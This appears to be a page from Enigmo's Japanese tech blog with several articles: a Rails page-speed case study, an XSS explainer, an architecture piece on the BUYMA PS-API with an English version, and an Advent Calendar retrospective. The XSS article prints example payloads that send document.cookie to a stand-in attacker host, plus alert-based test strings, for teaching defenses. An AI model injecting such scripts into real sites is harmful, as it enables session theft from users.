TECH PLAY

株式会社エニグモ

株式会社エニグモ の技術ブログ

246

こんにちは。BUYMA TRAVELのWebエンジニアの赤間です! BUYMA TRAVELは BUYMA を運営する株式会社エニグモのグループサービスです。 1. はじめに 弊社では日本語対応のオプショナルツアー・貸切ガイド予約サイト’’BUYMA TRAVEL’’を開発・運営しています。 その中でも「エリアページ」と「スポットページ」は検索エンジンから流入したユーザが最初に訪れることの多い主要なページです。 ここ数ヶ月でユーザにとってより使いやすいページを目標に、クチコミやおすすめ商品の掲載など様々な要素・機能の追加を行ってきました。しかしその一方で表示速度が低下し、商品数の多いページによっては表示完了まで最大3秒かかってしまう状況でした。 そこでこれらのページを対象に、Railsアプリケーションのパフォーマンス改善を実施しました。本記事では調査の流れから改善内容、その改善を通して得られた知見をご紹介します。 2. エリアページ・スポットページとは ここで簡単にサービス紹介もかねて、この2つのページのご紹介です。 エリアページ https://travel.buyma.com/service/a040118/ その名の通り、エリア(地域)単位で商品をまとめている特設ページです。 スポットページ https://travel.buyma.com/service/a040118/s0000001/ こちらは、観光スポット単位で商品をまとめている特設ページです。 どちらのページも人気商品やプライベート商品、クチコミ、おすすめスポットなどのコンテンツを掲載しています。 一見すると単純な一覧ページですが、実際にはユーザに新鮮な情報を提供するための複数の検索処理や集計処理、共通コンポーネントによって構成されており、システム的に比較的処理の多い重いページとなっています。 3. なぜ改善が必要だったのか これらのページは検索エンジンから’’BUYMA TRAVEL’’に流入したユーザが最初に目にするページです。 そのため表示速度の低下は単なる技術的な課題ではなく、サービス全体の利用率や売り上げにも直結する可能性があります。 また、エリアページとスポットページはサービス内でもアクセス数が多く、改善効果が大きいページでもありました。 実際に計測したところ、改善前ではページ表示までに最大3秒程度かかってしまうケースも確認できました。 ページ表示速度と離脱率には相関があると言われており、ユーザがページの表示を待っている間に離脱してしまえば、どんなに魅力のある商品を掲載していても見てもらうことはできません。 そこで、本格的なパフォーマンス改善に取り組むこととなりました。 4. AIを活用したボトルネック調査 エリアページは長年運用されてきたページであり、コードベースも大規模化していました。 そのため単純に「とりあえずSQLを削減する」といった場当たり的な改善ではなく、本当にボトルネックとなっている処理を特定する必要がありました。 Railsアプリケーションではコントローラ・モデル・ビュー(・ヘルパー)に処理が分散しているため、どこで処理時間を消費しているかを把握するだけでも手間がかかります。 今回はDatadogで遅いトランザクションを特定し、Cursorを利用してコードベースの調査を行いました。 AIに「TTFBを悪化させている箇所を探して欲しい」 という依頼を行い、懸念箇所や修正候補をリストアップしてもらいました。 5. 調査して見つかった問題箇所 分析の結果、大きく以下の3つの課題が見つかりました。 SQLの発行数が多い 同一リクエスト内で重複した計算が発生している キャッシュが十分に活用できていない 特にSQL関連の問題が深刻で、全体処理時間の約60%を占めている有り様でした。 6. 実施した改善 SQL発行数の削減 調査の結果、レスポンス時間の大部分をデータベースアクセスが占めていることがわかりました。 特に商品一覧の表示処理では、関連データを取得する際にN+1問題が発生している箇所が複数存在していました。 N+1問題とは、一覧取得後に各レコードごとに追加のSQLが発行されてしまう問題です。 たとえば商品を10件まとめて表示する場合、本来1回で済むはずが11回以上のDBアクセスが必要になることがあります。 さらにデータ量が増えるほどSQL実行回数も増加するため、パフォーマンスへ大きな影響を与えてしまうのです。 今回の改善では includes を利用したEager Loadingを積極的に導入し、必要な関連データを事前にまとめて取得するように変更しました。 また、同じ情報を異なるコンポーネントで個別に取得している箇所も存在していたため、取得処理を集約し不要なクエリ発行を削減しました。 結果として、SQL発行数を大幅に削減でき、レスポンス改善に最も大きく貢献した施策となりました。 同一リクエストで同じ計算をしていた 調査を進める中で、同一リクエスト内で何度も同じ計算を行なっている箇所も見つかりました。これは本当にもったい無いですね、、、 単体で見ると小さな処理ですが、ページ全体では何度も呼び出されるため無視できないコストになります。 そこでメモ化を導入し、一度計算した結果を再利用するように変更しました。 また、一部の集計処理にはキャッシュを活用することで再計算そのものを削減しています。 大きな改善ではありませんが、細かな最適化の積み重ねが最終的なレスポンス改善につながりました。 お気に入り機能とキャッシュの見直し 今回の改善で特に興味深い問題が、お気に入り機能とキャッシュの関係でした。 商品カードはページ内で大量に表示されるため、本来であればカード単位でキャッシュしたいコンテンツです。商品名や価格、評価、パートナー情報などは頻繁には変化しないため、一度生成したHTMLを再利用できることで大きな効果が期待できます。 しかし、お気に入りの状態はユーザごとに異なる情報です。 同じ商品であってもあるユーザにとっては「お気に入り登録済」、別ユーザにとっては「未登録」という状態があります。 そのため商品カード全体をキャッシュしてしまうと、 ユーザごとに異なるキャッシュを生成する必要がある キャッシュキーが複雑になる キャッシュヒット率が低下する という問題が発生します。 実際に、改善前はこの問題を回避するために、お気に入りボタンを除いた「パートナー・評価」「商品情報」の2つの領域に分けて個別にキャッシュしていました。 この構成でもキャッシュがない状態より圧倒的に効率的ですが、キャッシュの管理が複雑であったり、テンプレートも読みづらい実装になっていました。 そこで今回の修正では、商品カードとお気に入りの状態を分離し、商品カード全体を共通キャッシュできる構成へ変更しました。 商品カード本体は全ユーザ共通のHTMLとしてキャッシュし、商品IDごとのお気に入りの状態は別で取得する形です。 これにより商品カード自体は1つのキャッシュとして扱えるようになり、キャッシュ構成をシンプルにしつつ、高いキャッシュ効率を実現しています。 結果としてレスポンス速度だけでなく、今後の保守性や機能追加のしやすさという点でも大きな効果を得ることができました。 7. 改善結果 改善前ではページ表示までに最大3秒程度かかる状態でした。 改善後は1秒に満たない時間で表示できるケースが大半となり、体感速度も大きく向上しました。 今回の改善では特定の1箇所を直したのではなく、 SQLの最適化 重複処理の削減 キャッシュの見直し といった複数の小さな改善を積み重ねたことが、この結果につながりました。 8. まとめ 当サイトの主要ページである、エリアページ・スポットページの速度改善についてご紹介しました。 パフォーマンス改善というと大規模なアーキテクチャ変更をイメージするかと思います。私自身はそのような印象を持っていました。 しかし実際には特別な技術ではなく、N+1の解消やメモ化、キャッシュ設計の見直しといった、比較的小さな改善の積み重ねでも、十分な効果が出せると実感しました。 Railsには優秀なキャッシュ機構や様々な最適化手法がありますが、まずは基本的なSQLの見直しが重要です。 普段のレビューでもN+1の有無や効率的なデータの取得については確認していますが、改めて見直してみると、どうしても漏れは出てくるものだと感じました。機能追加を重ねてきたページほど、定期的にパフォーマンスの棚卸しは必要だと思います。 今回で大きくレスポンスを改善できましたが、まだ課題は残っています。 特にレビュー集計処理にはサマリーテーブル導入の余地がありますし、ページビューカウントの非同期化など、更なる高速化が可能です。 今後もユーザ体験向上のため、継続的な改善を続けていきます。
こんにちは。 エニグモのWebアプリケーションエンジニアの レミー です! Webセキュリティにおいて最も頻繁に発生する脅威の一つがXSS(クロスサイトスクリプティング)です。ユーザーに大きな被害をもたらし、企業の信頼を失墜させるこの脆弱性について、その仕組みから対策まで解説します。 XSS(クロスサイトスクリプティング)とは? XSSとは、Webアプリケーションの脆弱性を突き、悪意のあるスクリプト(主にJavaScript)を攻撃者が他のユーザーのブラウザ上で実行させるサイバー攻撃です。 攻撃が成功すると、以下のような深刻な被害が発生する可能性があります。 セッションIDやクッキー、個人情報の取得 ブラウザやWebサイトの不正操作 悪意のあるサイト(フィッシングサイトなど)への強制リダイレクト XSSはWebアプリケーションのセキュリティにおいて最も危険な脆弱性の一つとして知られており、ユーザーのアイデンティティ(認証情報)を盗み出すことが主な目的とされています。 XSSの仕組み XSSは基本的にクライアントサイド(ユーザーのブラウザ上)で実行されます。 HTMLやJavaScriptなどの言語で書かれた悪意のあるコードが、ユーザーの入力フォームなどを経由してWebサイトに送り込まれます。 仕組みとしてはSQLインジェクションと似ており、クライアントからサーバーへのリクエストに不正なコードを紛れ込ませることで実行されます。この脆弱性は、Webサイト側がユーザーからの入力データを適切に検証・サニタイズしていないこと、または適切な出力エンコーディングを行っていないことによって発生します。 例:脆弱なサイトの検索ページが、検索キーワードをそのまま表示する場合。 ユーザーが「猫」と検索したとき: < p > 「猫」の検索結果:3件 </ p > もし攻撃者が <script>alert('攻撃成功!')</script> と検索したら? < p > 「 < script > alert ( '攻撃成功!' ) </ script > 」の検索結果:0件 </ p > ブラウザは攻撃者のコードがそのまま動いてしまいます。 代表的なXSSの種類 1. 反映型XSS(Reflected XSS) URLのパラメータやフォームの入力値に仕込まれた悪意のあるスクリプトが、サーバーからのレスポンス画面にそのまま反映されて実行されるタイプです。攻撃者は、スクリプトを仕込んだURLをメールやSNSで標的に踏ませることで攻撃を成立させます。一般的に、特定のユーザーを狙った攻撃に多く使われます。 例:以下のURL https://example.com/search?q=<script>fetch('https://攻撃者.com?cookie='+document.cookie)</script> 気づかない一瞬の間に、ログインクッキーが攻撃者に送信され、攻撃者はユーザーになりすましてログインできてしまいます。 2. 蓄積型XSS(Persistent XSS) 攻撃者が掲示板やプロフィールの入力欄などを通じて、悪意のあるスクリプトをWebサイトのデータベースに保存させるタイプです。その後、他のユーザーがそのページを閲覧するたびにスクリプトが自動的に実行されます。一度設置されると、不特定多数のユーザーが同時に被害に遭うため非常に危険です。 例:SNSサイトで、攻撃者が自分のプロフィールの「自己紹介欄」に以下を入力しました: < script > // このプロフィールを見た全員のクッキーを盗む new Image () . src = 'https://攻撃者.com/steal?c=' + document . cookie ; </ script > このプロフィールは「サニタイズされず」にデータベースに保存されます。それから一晩で、このプロフィールを訪問した全てのユーザー全員のクッキーが攻撃者の手に渡りました——ユーザーは「プロフィールを見ただけ」なのに。これが蓄積型XSSの恐ろしさです。 XSS脆弱性の診断やテスト方法 自社のWebサイトにXSSの脆弱性がないかを確認するには、入力フォームなどにテスト用のスクリプトを入力し、それがブラウザ上で実行されてしまうかどうかを検証します。 例: <!-- 基本テスト --> < script > alert ( 'XSS' ) </ script > <!-- imgタグの onerror を使う方法 --> < img src = x onerror= alert('XSS') > <!-- SVGを使う方法 --> < svg onload= alert('XSS') > ただし、最も確実なのはソースコードのコードレビューや、専門の脆弱性診断ツールの導入、またはプロのセキュリティエンジニアによる診断を受けることです。 XSSの防ぎ方・対策 開発者向けの対策 サニタイズと入力値のバリデーション: 入力されたデータが適切な形式であるかチェックし、不正な文字( < や > など)を排除、または無害化します。 出力のHTMLエンコーディング: ユーザーが入力した文字列をHTMLに表示する際、特別な意味を持つ文字(例: < は < 、> は > )をエスケープ処理します。これが最も根本的な対策です。 WAF(Web Application Firewall)の導入: 通信を監視し、XSS特有のパターンを持つリクエストを遮断します。 一般ユーザー向けの対策 不審なURLをクリックしない: メールやSNSに貼られている怪しいリンク、心当たりのないURLには触れないようにしましょう。 個人情報の入力に注意する: 信頼性の低いWebサイトで、ログイン情報やクレジットカード情報を安易に入力しないよう徹底してください。 ブラウザやOSを最新に保つ: 使用しているブラウザのセキュリティアップデートをこまめに行い、常に最新のバージョンを利用します。 セキュリティソフトの導入: マルウェアや悪意のあるスクリプトの実行を検知・ブロックするウイルス対策ソフトを導入しましょう。 エニグモでのセキュリティへの取り組み 弊社が運営するBUYMAでは、ユーザーの個人情報や決済情報を扱うため、セキュリティ対策は開発フローの中心に位置づけられています。 具体的には、以下のような取り組みを行っています。 コードレビューでのセキュリティチェックは、全てのPull Requestにおいて、XSSやSQLインジェクションなどの脆弱性があるかどうか、きちんとレビューしています。 フレームワークのデフォルト機能の活用では、Ruby on Railsの html_safe や raw などの使用は最小限にし、使う場合は必ずレビューで確認しています。 静的解析ツールの導入は、Brakemanなどのツールで、CI上で自動的に脆弱性を検知する仕組みを整えています。 まとめ XSSは非常に古典的でありながら、現在でも多くのWebサイトで脅威となっているセキュリティリスクです。Webサイトを守るためには、開発者が入力・出力の処理を正しく実装することが不可欠です。また、ユーザー側も日頃からURLの確認やブラウザの更新など、基本的なセキュリティ意識を持つことが大切です。
BUYMAのPersonal Shopper API(PS-API)が、gRPC、SQS、Webhook、非同期処理を活用して、マイクロサービスとモノリスをつなぎながらスケールする仕組みを紹介します。 こんにちは、エニグモのフェルナンドです。 SELLチームに所属し、出品者向け機能の開発を担当しています。 今回は、私たちのチームで運用している「PS-API」についてご紹介します。 日々増え続けるリクエストをどのように処理しているのか、そのアーキテクチャの裏側についてお話ししたいと思います。 👉 English version is also available below. BUYMAでは、パーソナルショッパー(出品者)が商品を出品する方法がいくつかあります。 マイページ から直接商品を登録する方法もあれば、 CSVインポート を使って一括登録する方法もあります。 さらに、自社システムを運用している大規模なパートナーや事業者向けには、 Personal Shopper API(通称:PS-API) を利用した連携手段も提供しています。 運用要件によっては、より深いカスタム連携を行うケースもあります。 これらの機能を利用する出品者が増えるにつれて、PS関連システムの保守・改善は、楽しくもあり、同時にとてもチャレンジングなものになっていきました。 出品方法の概要:My Page、CSVインポート、PS-API、カスタム連携 今回は、 PS-API について紹介します。PS-APIがどのように動いているのか、なぜ非同期APIとして設計したのか、そしてマイクロサービスと大規模なモノリスをつなぐシステムを運用する中で学んだリアルな教訓について共有します。 PS-APIの目的:BUYMAのコアプラットフォームへの連携レイヤー BUYMAはマーケットプレイスであり、商品登録は出品者にとって重要な日常業務のひとつです。 大量の商品を管理している出品者にとって、1件ずつ手動で商品を登録するのはとても大きな負担になります。 CSVインポートでその負担を減らすことができますが、在庫・価格・商品情報を自社システムで管理しているパートナーにとっては、API連携が自然な選択肢になります。 そこで登場するのがPS-APIです。 PS-APIでは、出品者が以下のような操作を行えます。 商品の登録・更新 在庫やバリエーションの管理 注文情報の取得 発送依頼の処理 PS-APIは、出品者側のシステムとBUYMAのコアプラットフォームをつなぐ、強固な連携レイヤーとして機能しています。 PS-APIは、出品者システムとBUYMAのコアプラットフォームをつなぐ連携レイヤー 課題:マイクロサービスと既存モノリスの連携 BUYMAの主要な業務処理の多くは、現在もメイン環境、つまり巨大なモノリシックなシステム上で動いています。 一方で、PS-APIはモダンなマイクロサービスとして実装されています。 私は以前にサーバーレス開発の経験はありましたが、大規模なマイクロサービスアーキテクチャに本格的に関わるのはこれが初めてでした。 キュー、ワーカー、リトライ、サービス間通信、Webhook配信といった分散システムの世界に入っていくのは、本当に、とても勉強になりました。 PS-APIとBUYMAメインシステムのアーキテクチャ概要 ※ アーキテクチャは、おおまかに言うとこのような構成になっています。 ここで重要な設計思想は次の点です。 PS-APIは最終的な処理先ではない 外部システムとBUYMAのモノリスをつなぐ「オーケストレーションレイヤー」である なぜ非同期処理なのか PS-APIにおける最大の設計判断のひとつが、多くの処理を非同期にしたことです。 出品者が商品登録リクエストを送信した場合、システムはすべての処理を同期的に実行して、最終結果を即時で返すわけではありません。 代わりに、次のような流れをたどります。 リクエストを受け付ける 処理用のキューに積む(即時レスポンス) BUYMA側で後続処理を行う(ワーカーによる非同期処理) 最終結果をWebhookで返す この方式には、決定的なメリットがあります。 1. トラフィックスパイクの吸収 出品者は、ときどき大量のリクエストを一斉に送信します。 ここで言う「大量」とは、監視ダッシュボードが悲鳴を上げるレベルの量です。 非同期キューを使うことで、急激なトラフィック増加をそのままコアシステムに流し込むのではなく、一度バッファとして受け止めることができます。 リクエストは順番を待ち、システムが耐えられる制御されたペースで処理されます。 最終的な商品登録処理がBUYMAのメインシステムに依存しているため、このバッファリング層は非常に重要な役割を担っています。 非同期キューにより、外部からの大量リクエストを一度バッファリングする 2. 障害時のグレースフル・デグラデーション(確実なリカバリー) 下流システムが一時的に利用できない場合でも、出品者が同じリクエストを手動で再送する必要はありません。 リクエストは安全にキューに残り、下流システムが復旧したあとに自動で処理を再開できます。 ユーザーに「成功するまで何度もリトライしてください」とお願いするより、はるかに健全です。 アプリへの信頼を完全に失ってしまう前、システム側で吸収できることは吸収すべきです。 3. コアプラットフォームの保護 商品登録や注文関連の主要な処理は、BUYMAのモノリシックなメイン環境で実行されています。 そのため、このコアシステムを過負荷から慎重に保護する必要があります。 PS-APIが外部トラフィックを受け止め、モノリス側へリクエストを渡すペース(スループット)を制御します。 これは、マイクロサービスの柔軟性と、モノリスの安定性を両立するための設計です。 gRPCとSQS:通信方式の適材適所 PS-APIでは、すべての通信を同じ方法で扱っているわけではありません。 処理の性質、つまり即時性が必要か、耐久性が必要かに応じて、gRPCとAmazon SQSを明確に使い分けています。 gRPC gRPCは主に、即時のレスポンスが必要な内部サービス間通信で利用しています。 これは、PS-APIが現在の処理を続行する前に、信頼できる内部レスポンスを必要とするケースです。 たとえば、以下のような用途で使っています。 パートナーシステムとLive PS-API間の通信 パートナーシステムとSandbox PS-API間の通信 ブランド情報やカテゴリ情報などのマスターデータ取得 SQS 一方で、より重い業務処理にはSQSベースの非同期処理を利用しています。 たとえば、BUYMAのメインシステムと連携する以下のような処理です。 商品登録・更新 注文の発送依頼処理 なぜこの設計がうまく機能するのか gRPCとSQSを組み合わせることで、それぞれの通信方式を多様な場面で使うことができます。 gRPCは、高速な内部リクエスト・レスポンス通信に、SQSは、耐久性のある非同期業務処理に使います。 特徴 gRPC SQS(非同期キュー) 主な用途 内部サービス間の直接通信 重い業務処理、モノリス連携 処理モデル 同期的(即時レスポンス待ち) 非同期的(Event-Driven) メリット 高速、型安全(Protobuf)、明確な契約 耐久性、リトライ容易、スパイク吸収 具体例 マスターデータ(ブランド/カテゴリ)取得 商品の登録・更新、発送依頼処理 SQSとWebhookによる非同期ループの完成 重い処理はSQSを利用します。リクエストを受け付けると、ペイロードを保存し、その後の業務処理をワーカーが非同期で進めます。 重要なのは、SQSは「処理の完了イベント」にも利用されている点です。 商品登録が完了すると、その結果がキュー経由でPS-APIに返され、そこから出品者へWebhookレスポンスが送信されます。 Webhookは単なるAPIの即時レスポンスではなく、非同期処理の最終通知なのです。 gRPC、SQS、WebhookによるPS-APIの通信フロー この区別には、いくつかのメリットがあります。 BUYMAのメインシステムを急激なトラフィック増加から保護できる 多くの出品者が同時に商品更新リクエストを送った場合でも、リクエストをキューに積み、段階的に処理できます。 信頼性が向上する 下流システムの一部が一時的に利用できない場合でも、リクエストが消えてしまうことはなく、出品者がすべてを手動で再試行する必要もありません。 スケールしやすい基盤になる APIリクエストの受付、キュー処理、Webhook配信をそれぞれ個別に改善できます。 本当の課題:スケール PS-APIは当初、小規模なユースケースを想定して設計されていたため、現在のトラフィック規模にはそぐわなくなっています。 サービスの普及に伴い、APIを利用する出品者数とリクエスト数が急増しました。このスケールアップに伴い、スケーラビリティや運用面でいくつかの課題が表面化してきました。 レートリミット キューのボトルネック 処理状況の可視性 「リクエストは成功したのに、商品はどこにありますか?」という問い合わせ この最後の質問に対する答えは、時々こうなります。 “技術的には……まだキューのどこかにあります。” または、 “Webhookはエラーメッセージ付きで送信されました。” 非同期システムの運用は、設計するよりもずっと面白くなってくるのがこのあたりです。 APIを作ること自体ももちろん大変です。 しかし、リクエストが今どの処理段階にあるのかを、関係者全員が理解できるようにすることは、また別の難しさがあります。 そして多くの場合、後者の方が難しいです。 非同期システムに潜む複雑さ 外から見ると、APIリクエストはとてもシンプルに見えます。 POST /api/v1/products.json しかし内部では、実際には以下のような複雑なパイプラインが走っています。 API → バリデーション → データベース → キュー → ワーカー → ストレージ → 画像ダウンロード → 後続処理(または「下流プロセッサ」) → 完了イベント → キャッシュ無効化 → Webhook配信 APIは、単なるエンドポイントというより、空港の手荷物管理システムのようになっていきます。 システムは信頼されている。でも、リクエストが今どこにあるのかを完全に把握するのは難しい――そんな世界です。 オンプレミスからAWSへの移行 出品処理におけるデータベースのトランザクション速度を改善するうえで、大きな転機となったのがインフラのAWS移行とDBアップグレードです。AWSのリソースを活用することで、DB接続の安定性や処理性能が向上し、インポート速度も改善されました。 もちろん、AWSへ移行したりDBをアップグレードしたりしたからといって、すべてのボトルネックが簡単に消えるわけではありません。それでも、DB接続の安定性やトランザクション処理速度の改善は、非同期処理全体のパフォーマンスに大きく影響します。 今後も改善していくこと:本当の「スケール」に向けて PS-APIはもともと少数のユーザーを想定して作られていましたが、その想定も今は昔です。 現在も、出品者が安心して運用を任せられる強固な基盤を目指し、以下の領域を継続的に改善しています。 より良いレートリミット戦略の実装 リクエスト状態の可視性向上 画像ダウンロード処理の高速化とワーカーのオートスケーリング 技術的な専門知識がない出品者でも、スムーズに連携を開始できるようPS-APIドキュメントを拡充 モノリスとマイクロサービスをまたぐ運用の改善 私たちの目標は、単に大量のリクエストを「受け付ける」ことではありません。 数千件規模のスパイクにも安定して対応し、出品者のビジネスを裏から確実に支える、真に信頼できるAPIシステムへ進化させ続けることです。 注記: 本記事内の画像は、内容をわかりやすく表現するためにAIで生成したイメージ画像です。 Building for Scale: Inside the Event-Driven Architecture of the BUYMA Personal Shopper API Good day, I’m Fernand from Enigmo. I’m part of the SELL team, where I work on developing features that support sellers. This time, I’d like to talk about “PS-API,” a system operated by our team. I’ll share some insights into the architecture behind it and how we handle the continuously growing number of requests every day. At BUYMA, personal shoppers have several ways to list products on the platform. Some sellers manage listings directly from My Page . Others use CSV import for bulk operations. For larger partners and businesses that operate their own systems, we also provide integration options through the Personal Shopper API , or PS-API. In some cases, we even support deeper custom integrations depending on the seller’s operational needs. As more sellers began using these features, maintaining and improving the PS systems became both fun and challenging. Listing options: My Page, CSV import, PS-API, and custom integrations This time, I would like to introduce PS-API : how it works, why we designed it as an asynchronous API, and what we learned from operating a system that connects a microservice with a large monolithic platform. Purpose of PS-API BUYMA is a marketplace where product registration is one of the most important daily operations for sellers. For sellers managing large catalogs, manually listing products one by one quickly becomes painful. CSV import helps, but for partners that already manage inventory, pricing, and stock through their own systems, API integration becomes the natural next step. That is where PS-API comes in. It allows sellers to: create and update products manage stock and variants receive order information handle shipment requests PS-API acts as an integration layer between personal shoppers’ systems and BUYMA’s core platform. PS-API connects seller systems with BUYMA’s core platform The Challenge: When a Microservice Meets a Monolith Most of BUYMA’s core business processes still run in the main environment, which is a monolithic system. PS-API, however, was implemented as a microservice. Although I had experience with serverless development before, this was my first time working on a microservice architecture. Moving into a world of queues, workers, retries, internal service communication, and webhook delivery was very educational. Very educational... ※ The architecture looks something like this. High-level architecture of PS-API and BUYMA’s main system The key point here is: PS-API is not the final destination. It is the orchestration layer between external personal shopper systems and BUYMA’s platform. Why Asynchronous Processing One of the biggest design decisions in PS-API was to make many operations asynchronous. When a seller sends a product registration request, the system does not process everything synchronously and immediately return the final result. Instead: The request is accepted. It is queued for processing. BUYMA processes it downstream. The final result is sent back via webhook. This approach gives us several important advantages. 1. Handling Traffic Spikes Sellers sometimes send bulk requests. And by “bulk,” I mean enough requests to make the monitoring dashboard emotionally unavailable. With asynchronous queues, sudden traffic spikes can be absorbed without immediately overwhelming the core system. Requests can wait in the queue and be processed at a controlled pace. This is especially important because the final product registration still depends on BUYMA’s main system. synchronous queues buffer sudden request spikes before they reach the core platform 2. Better Failure Recovery If a downstream system is temporarily unavailable, sellers do not need to resend the same request manually. The request can remain in the queue, and processing can resume once the downstream system recovers. This is much better than asking users to keep retrying until they lose faith in the service entirely. 3. Protecting the Core Platform Because the main product registration and order processes still happen inside BUYMA’s monolithic environment, we need to protect that system carefully. PS-API absorbs external traffic and controls how requests are passed to the core platform. This allows the monolith to process requests at a safer and more predictable pace. Microservice optimism meets monolith realism. gRPC and SQS: Choosing the Right Communication Style In PS-API, not all communication is handled in the same way. Some processes require quick, direct communication between internal services. Other processes need durable asynchronous execution because they may take longer, depend on the BUYMA core platform, or require retries. For that reason, we use both gRPC and SQS, depending on the characteristics of each process. gRPC We mainly use gRPC for internal service-to-service communication where an immediate response is required. These are cases where PS-API needs a reliable internal response before continuing the current process. BUYMA Partners System ↔ Live PS-API communication BUYMA Partners System ↔ Sandbox PS-API communication Retrieving master data, such as brand data and category data Using gRPC gives us several advantages: fast internal communication clear service contracts through protobuf definitions better type safety between services predictable request-response behavior SQS For heavier business operations, we use SQS-based asynchronous processing. This includes communication with BUYMA’s main system for operations such as: product listing and update order shipment request processing These operations eventually affect BUYMA’s core platform, where product and order data are actually processed. Instead of forcing the original API request to wait until all downstream processing is complete, PS-API accepts the request, stores the payload, and lets the business process continue asynchronously. SQS is also used for process completion events. For example, after product listing or product update processing is completed, the completion result is sent back through the queue. PS-API then imports the result and sends the appropriate webhook response to the seller system. This is an important point: webhook delivery is not simply a response to the original API request. It is the final notification after asynchronous processing has completed. gRPC, SQS, and Webhook complete the asynchronous processing loop Why This Design Works Well Using gRPC and SQS together allows each communication pattern to be used where it fits best. gRPC is used for fast internal request-response communication. SQS is used for durable asynchronous business processing. This separation gives us several benefits. It protects BUYMA’s main system from sudden traffic spikes. If many sellers send product update requests at the same time, those requests can be queued and processed gradually. It improves reliability. If part of the downstream system is temporarily unavailable, requests do not simply disappear, and sellers do not need to retry everything manually. It gives us a better foundation for scaling. API request handling, queue processing, and webhook delivery can each be improved separately. This combination is one of the key reasons PS-API can operate as a bridge between external seller systems and BUYMA’s existing core platform. The Real Challenge: Scale Originally, PS-API was intended for a relatively small number of users. That assumption aged beautifully. As adoption increased, both the number of sellers and the number of requests grew significantly. With that growth came several familiar challenges: rate limits queue bottlenecks processing visibility issues inquiries like “The request succeeded, but where is my product?” The answer to that last question is sometimes: "Technically… somewhere in the queue." Or: "The webhook was already sent, along with an error message." This is where operating asynchronous systems becomes much more interesting than designing them. Building the API is one thing. Helping everyone understand the flow of request is another. And usually, that is the harder part. The Hidden Complexity of Async Systems From the outside, an API request may look simple: POST /api/v1/products.json But internally, the flow may look more like this: API → validation → database → queue → worker → storage → image download → downstream processor → completion event → cache invalidation → webhook delivery At some point, API starts looking less like an endpoint and more like airport baggage handling. Everyone trusts the system. No one is entirely sure where the suitcase is. From On-Premise to AWS One major improvement came from moving our infrastructure from on-premise servers to AWS, along with upgrading the database. This improved the transaction speed of import-related database operations. Of course, moving to AWS and upgrading the database did not magically remove every bottleneck. Software remains committed to teaching humility. However, it gave us a much stronger foundation, especially for asynchronous processing. For systems that depend heavily on queues, workers, and scalable processing capacity, infrastructure flexibility matters a lot. What We Are Still Improving Even after these improvements, scalability remains an ongoing challenge. The API layer can scale relatively well, but many core processes still depend on the main environment, where scaling is naturally more difficult. We are continuing to improve areas such as: better rate-limit strategies faster image download processing autoscaling for workers better visibility into request status smoother operations across monolith and microservice boundaries expanded PS-API documentation so that even sellers without technical expertise can smoothly start integrating with the platform The goal is not simply to accept the request. The real goal is to make PS-API a system sellers can rely on and one that can handle thousands of requests. Note: The images in this article were created using AI-generated visuals and are intended for conceptual illustration. hrmos.co
こんにちは。 エニグモ採用担当の戸井です。 普段は中途採用や採用広報を担当していますが、主にエンジニア採用を担当している関係で、エンジニア組織の「Developer Relations(DevRel)チーム」にも所属しています。 DevRelチームはエンジニア組織のアウトプット促進や勉強会の運営やイベントサポートなどを行っており、その一環としてアドベントカレンダーの運営にも携わっています。 この記事では昨年実施したアドベントカレンダー全体の振り返りと、運営の取り組みについて紹介します。 アドベントカレンダーとは? 元々は、クリスマスまでの日数をカウントダウンするために使われるカレンダーで、12月1日からはじまり、25個ある「窓」を毎日1つずつ開けて中に入っている小さなお菓子やプレゼントを楽しむものです。 その慣習から、12月1日から25日まで毎日ブログ記事を公開するイベントとして、特にWeb業界やエンジニア界隈で広く親しまれています。 2025年のエニグモアドベントカレンダーはこちらです。 https://qiita.com/advent-calendar/2025/enigmo 2025年アドベントカレンダー全体の振り返り エニグモのアドベントカレンダーは2018年よりスタートし、2025年で開催8回目となりました。 当初はエンジニア・テック系職種を中心とした取り組みでしたが、2022年からは全社イベントとして、職種問わず誰でも参加できる形で運営しています。 参加メンバーの傾向 2025年も、エンジニアを中心にさまざまな職種のメンバーが参加しました。 (内訳) 【エンジニア職種】 サーバーサイドエンジニア、インフラエンジニア、データエンジニア、検索エンジニア、データサイエンティストなど 【ビジネス職種】 マーケティング、データアナリスト、UI/UXデザイナー、管理部門など 技術系職種を中心としつつも、データ・デザイン・コーポレートなど、複数の部門から参加があり、職種横断でのアウトプットの場となりました。 また、参加回数の観点では、初めて参加するメンバーが全体の約4割を占めていました。 一方で、複数回参加しているメンバーや皆勤賞のメンバーもおり、継続的にアウトプットの場として活用されている点も特徴です。 アドベントカレンダーを一年間の振り返りやナレッジの棚卸しの機会として活用しているメンバーも多いです。 記事のテーマ・カテゴリ 記事のカテゴリーを以下の4つに分類し、集計を行いました。 ・技術発信 ・プロジェクト紹介 ・組織・カルチャー ・入社エントリ・自己紹介 2025年は、技術発信の記事が全体の多くを占めており、エンジニアリングに関する知見の共有が中心となりました。 他にも組織やカルチャー、プロジェクト紹介、入社エントリ・自己紹介といったテーマの記事も投稿されています。 技術に限らず、個人の経験や組織の取り組みなど、多様な切り口での発信が行われたことも特徴です。  「Advent Calendar Award」受賞記事 「Advent Calendar Award」はエニグモのアドベントカレンダーをさらに盛り上げるために実施しており、特に多く読まれた記事を表彰しています。 2025年の受賞記事は以下の通りです。 6位 アジャイルは会社ごとに別物。でも、あるあるは共通だった (BUYMA TRAVEL Webエンジニア) 5位: ローコードAIツールDifyをエンジニアが使ったら?コードブロックでハマった7つの落とし穴 (データサイエンティスト) 4位: エニグモのオンボーディング:他部署体験プログラムを紹介します! (採用・採用広報担当) 3位: 人事からデータアナリストへ。社内公募で兼務し始めて3ヶ月の振り返り (人事兼データアナリスト) 2位: AWSにおけるコスト削減の考え方 (インフラエンジニア) 1位: Ruby on Rails アプリのパフォーマンス最適化10選 (バックエンドエンジニア) 運営の取り組み アドベントカレンダーの運営では、キックオフの実施タイミングや日々のリマインド、ガイドライン整備、執筆・レビューの進め方など、運営に関わる各プロセスを毎年アップデートしています。 また、当社のメイン事業である海外ファッションEC「BUYMA」では、年末に向けた大型セールや需要の高まりにより、12月は特にサイトへのアクセスや取引が増える時期です。 それに伴い、エンジニア側でも重要なリリースや対応が重なるタイミングとなります。 そのため、アドベントカレンダーも参加メンバー・運営側の双方にとって、無理なく継続できるよう運営を設計しています。 ここでは、こうした背景を踏まえつつ、今年特に注力した取り組みについて紹介します。 ここ2〜3年で入社したメンバーの中には、アドベントカレンダーへの参加経験がない方や、テックブログ執筆が初めての方も一定数いました。 そのため、「初めてでも参加しやすい状態をつくること」を意識しました。 